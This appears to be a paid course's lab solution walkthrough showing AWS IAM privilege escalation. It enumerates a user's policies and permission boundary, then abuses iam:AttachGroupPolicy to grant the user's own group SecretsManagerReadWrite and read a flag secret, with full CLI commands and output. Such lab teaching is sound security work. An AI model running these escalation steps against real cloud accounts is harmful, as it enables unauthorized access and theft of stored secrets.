Section 9 · iam:AttachGroupPolicy Free preview

iam:AttachGroupPolicy Solution

This lab doesn’t return a username so we need to know who we’re dealing with:

aws sts get-caller-identity

{
    "UserId": "AIDAZWJD42J25BKLUHBX7",
    "Account": "666332090997",
    "Arn": "arn:aws:iam::666332090997:user/iam-attachgrouppolicy-privesc-1702934055655-SeniorDev"
}

Now that we have our username, we’re ready to do some further enumeration:

aws iam get-user --user-name iam-attachuserpolicy-privesc-1702934055655-SeniorDev

{
    "User": {
        "Path": "/",
        "UserName": "iam-attachgrouppolicy-privesc-1702934055655-SeniorDev",
        "UserId": "AIDAZWJD42J25BKLUHBX7",
        "Arn": "arn:aws:iam::666332090997:user/iam-attachgrouppolicy-privesc-1702934055655-SeniorDev",
        "CreateDate": "2023-12-18T21:15:19+00:00",
        "PermissionsBoundary": {
            "PermissionsBoundaryType": "Policy",
            "PermissionsBoundaryArn": "arn:aws:iam::666332090997:policy/BoundaryPolicy"
        },
        "Tags": [
            {
                "Key": "cybr-lab",
                "Value": "auto-deployed"
            }
        ]
    }
}

This command is important to run, because it’s one of the few commands that will return whether this user has any assigned permission boundaries or not.

As we can see, this user does have a permission boundary applied. Let’s try to get more information about this boundary.

aws iam get-policy --policy-arn arn:aws:iam::666332090997:policy/BoundaryPolicy
{
    "Policy": {
        "PolicyName": "BoundaryPolicy",
        "PolicyId": "ANPAZWJD42J2WQJBKXH4T",
        "Arn": "arn:aws:iam::666332090997:policy/BoundaryPolicy",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 0,
        "PermissionsBoundaryUsageCount": 4,
        "IsAttachable": true,
        "Description": "Managed policy to act as a permission boundary.",
        "CreateDate": "2023-12-18T21:14:59+00:00",
        "UpdateDate": "2023-12-18T21:14:59+00:00",
        "Tags": []
    }
}

From a prior lab, we know that we can then retrieve the v1 policy:

aws iam get-policy-version --policy-arn arn:aws:iam::666332090997:policy/BoundaryPolicy --version-id v1

An error occurred (AccessDenied) when calling the GetPolicyVersion operation: User: arn:aws:iam::666332090997:user/iam-attachgrouppolicy-privesc-1702934055655-SeniorDev is not authorized to perform: iam:GetPolicyVersion on resource: policy arn:aws:iam::666332090997:policy/BoundaryPolicy version v1 because no permissions boundary allows the iam:GetPolicyVersion action

Unfortunately, we don’t have access to view the restrictions from this boundary. That’s ok, let’s move on.

Let’s try to enumerate what permissions we do have.

aws iam list-user-policies --user-name iam-attachgrouppolicy-privesc-1702934055655-SeniorDev
{
    "PolicyNames": [
        "iam-attachgrouppolicy-privesc-1702934055655-senior-manager"
    ]
}

Now retrieve the policy document itself:

aws iam get-user-policy --user-name iam-attachgrouppolicy-privesc-1702934055655-SeniorDev --policy-name iam-attachgrouppolicy-privesc-1702934055655-senior-manager

{
    "UserName": "iam-attachgrouppolicy-privesc-1702934055655-SeniorDev",
    "PolicyName": "iam-attachgrouppolicy-privesc-1702934055655-senior-manager",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "iam:AttachGroupPolicy"
                ],
                "Resource": [
                    "arn:aws:iam::666332090997:group/division_it/product_cheeta/engineering/development/iam-attachgrouppolicy-privesc-1702934055655-Developers"
                ],
                "Effect": "Allow"
            }
        ]
    }
}

We see one allowed action:

"Action": [
   "iam:AttachGroupPolicy"
],

And it’s set for the resource:

"Resource": [
     "arn:aws:iam::666332090997:group/division_it/product_cheeta/engineering/development/iam-attachgrouppolicy-privesc-1702934055655-Developers"
],

The beauty and danger of AttachGroupPolicy is that it was designed to attach managed policies. That’s a lot of potential policies, some of which grant admin-level permissions! (Source).

Before we do anything with that though, let’s continue enumerating the rest of our permissions.

This tells us we have an inline policy for this specific user, but given that we’ve been running all sorts of other commands not listed there, we’re clearly getting permissions from somewhere else.

Just like with other labs (and following best practices), it probably means we are getting permissions from a group.

aws iam list-groups-for-user --user-name iam-attachgrouppolicy-privesc-1702934055655-SeniorDev

{
    "Groups": [
        {
            "Path": "/division_it/product_cheeta/engineering/development/",
            "GroupName": "iam-attachgrouppolicy-privesc-1702934055655-Developers",
            "GroupId": "AGPAZWJD42J2UJAJQDC2O",
            "Arn": "arn:aws:iam::666332090997:group/division_it/product_cheeta/engineering/development/iam-attachgrouppolicy-privesc-1702934055655-Developers",
            "CreateDate": "2023-12-18T21:14:21+00:00"
        }
    ]
}

Now let’s list policies for this group:

aws iam list-group-policies --group-name iam-attachgrouppolicy-privesc-1702934055655-Developers

{
    "PolicyNames": [
        "iam-attachgrouppolicy-privesc-1702934055655-developers"
    ]
}
aws iam get-group-policy --group-name iam-attachgrouppolicy-privesc-1702934055655-Developers --policy-name iam-attachgrouppolicy-privesc-1702934055655-developers

{
    "GroupName": "iam-attachgrouppolicy-privesc-1702934055655-Developers",
    "PolicyName": "iam-attachgrouppolicy-privesc-1702934055655-developers",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "iam:ListGroupPolicies",
                    "iam:ListPolicies",
                    "iam:ListPolicyVersions",
                    "iam:ListUsers",
                    "iam:ListGroups",
                    "iam:ListGroupsForUser",
                    "iam:GetPolicy",
                    "iam:GetUser",
                    "iam:GetUserPolicy",
                    "iam:GetGroupPolicy",
                    "iam:ListUserPolicies"
                ],
                "Resource": "*",
                "Effect": "Allow"
            }
        ]
    }
}

Ok so nothing earth shattering in this group policy, but it’s always still a good idea to enumerate as much as we can unless we’re trying to remain stealthy.

Going back to what we were saying earlier, we know we have access to AttachGroupPolicy. How can we use that for PrivEsc?

If we pull up the AWS documentation: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/attach-group-policy.html we’ll see that we can type:

aws iam attach-group-policy
--group-name <value>
--policy-arn <value>

The --group-name will be the group we want to attach the policy to, which in this case will be the group that we’re part of:

aws iam attach-group-policy --group-name iam-attachgrouppolicy-privesc-1702934055655-Developers --policy-arn <value>

But what about the --policy-arn?

We can try to give ourselves admin access with the managed policy AdministratorAccess and see what happens. If we go back to the AWS documentation and pull up that managed policy, we can find the ARN:

arn:aws:iam::aws:policy/AdministratorAccess

Let’s issue our command:

aws iam attach-group-policy --group-name iam-attachgrouppolicy-privesc-1702937208601-Developers --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

An error occurred (AccessDenied) when calling the AttachGroupPolicy operation: User: arn:aws:iam::666332090997:user/iam-attachgrouppolicy-privesc-1702937208601-SeniorDev is not authorized to perform: iam:AttachGroupPolicy on resource: group iam-attachgrouppolicy-privesc-1702937208601-Developers because no permissions boundary allows the iam:AttachGroupPolicy action

We get an access denied even though we didn’t see any restrictions in the policy. It’s gotta be a restriction coming from the boundary policy that we couldn’t get a good look at earlier.

We’re either out of luck or it might only be restricting certain managed policies. Let’s try a few more.

Let’s try some S3 ones, like AmazonS3FullAccess

arn:aws:iam::aws:policy/AmazonS3FullAccess
aws iam attach-group-policy --group-name iam-attachgrouppolicy-privesc-1702937208601-Developers --policy-arn arn:aws:iam::aws:policy/AmazonS3FullAccess

An error occurred (AccessDenied) when calling the AttachGroupPolicy operation: User: arn:aws:iam::666332090997:user/iam-attachgrouppolicy-privesc-1702937208601-SeniorDev is not authorized to perform: iam:AttachGroupPolicy on resource: group iam-attachgrouppolicy-privesc-1702937208601-Developers because no permissions boundary allows the iam:AttachGroupPolicy action

Let’s instead try SecretsManagerReadWrite:

arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam attach-group-policy --group-name iam-attachgrouppolicy-privesc-1702934055655-Developers --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite

There’s no output back! That’s a really good sign as you probably know by now!

Let’s verify if it worked or not:

aws secretsmanager list-secrets

{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:666332090997:secret:iam-attachuserpolicy-privesc-1702837863157-final_flag-AJG9ix",
            "Name": "iam-attachuserpolicy-privesc-1702837863157-final_flag",
            "Description": "Secret containing a flag",
            "LastChangedDate": "2023-12-17T11:31:06.827000-07:00"
...REDACTED...

That worked! We definitely did not have SecretsManager access at the beginning of the lab, so we’ve successfully attached the managed policy SecretsManagerReadWrite to our user.

Let’s capture the flag!

aws secretsmanager get-secret-value --secret-id <REDACTED>-final_flag

{
    "ARN": "arn:aws:secretsmanager:us-east-1:272<REDACTED>-final_flag-UIKXY8",
    "Name": "attachuserpolicy-final_flag",
    "VersionId": "6680b520-4997-6cf6-9eb8-44c96e5acbb7",
    "SecretString": "{\\"vault-password\\": \\"REDACTED\\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2023-12-14T15:23:11.506000-07:00"
}
...

Congrats! Go ahead and copy/paste the secret value as the flag.

Comments

Loading comments…